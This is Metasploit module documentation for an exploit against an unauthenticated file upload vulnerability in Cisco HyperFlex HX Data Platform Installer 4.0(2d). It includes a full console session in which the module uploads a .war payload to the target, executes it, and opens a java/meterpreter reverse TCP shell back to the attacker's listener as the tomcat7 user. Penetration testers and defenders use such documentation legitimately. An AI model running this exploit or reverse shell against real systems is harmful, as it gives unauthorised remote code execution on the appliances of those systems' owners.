## Vulnerable Application

### Description

This module exploits an unauthenticated file upload vulnerability in
Cisco HyperFlex HX Data Platform's /upload endpoint to upload and
execute a payload as the Tomcat user.

### Setup

Import `Cisco-HX-Data-Platform-Installer-v4.0.2d-35606-esx.ova`.

## Verification Steps

Follow [Setup](#setup) and [Scenarios](#scenarios).

## Options

### UPLOAD_FILE_NAME
This is the name of the .jsp file that is packaged inside the .war payload. The .jsp file is auto deployed on the tomcat
server and is then invoked via a GET request in order to execute the payload. (Random by default).

## Scenarios

### Cisco HyperFlex HX Data Platform Installer 4.0(2d)

```
msf6 > use exploit/linux/http/cisco_hyperflex_file_upload_rce
[*] Using configured payload java/meterpreter/reverse_tcp
msf6 exploit(linux/http/cisco_hyperflex_file_upload_rce) > options

Module options (exploit/linux/http/cisco_hyperflex_file_upload_rce):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT             80               yes       The target port (TCP)
   SSL               false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI         /                yes       Base path
   UPLOAD_FILE_NAME  iQMMhIYPOLAGObK  no        Choose a filename for the payload. (Default is random)
   VHOST                              no        HTTP server virtual host


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Java Dropper

msf6 exploit(linux/http/cisco_hyperflex_file_upload_rce) > set rhosts 192.168.123.145
rhosts => 192.168.123.145
msf6 exploit(linux/http/cisco_hyperflex_file_upload_rce) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(linux/http/cisco_hyperflex_file_upload_rce) > run

[*] Started reverse TCP handler on 192.168.123.1:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Preparing payload...
[*] Uploading payload...
[+] Payload uploaded successfully
[*] Executing payload... calling: /crossdomain.xml
[+] Payload executed successfully
[*] Sending stage (58082 bytes) to 192.168.123.145
[*] Meterpreter session 1 opened (192.168.123.1:4444 -> 192.168.123.145:35824) at 2021-06-16 16:33:34 -0400
[!] This exploit may require manual cleanup of '/var/lib/tomcat7/crossdomain.xml.war' on the target
[!] This exploit may require manual cleanup of '/var/lib/tomcat7/crossdomain.xml/' on the target

meterpreter > getuid
Server username: tomcat7
meterpreter > sysinfo

```
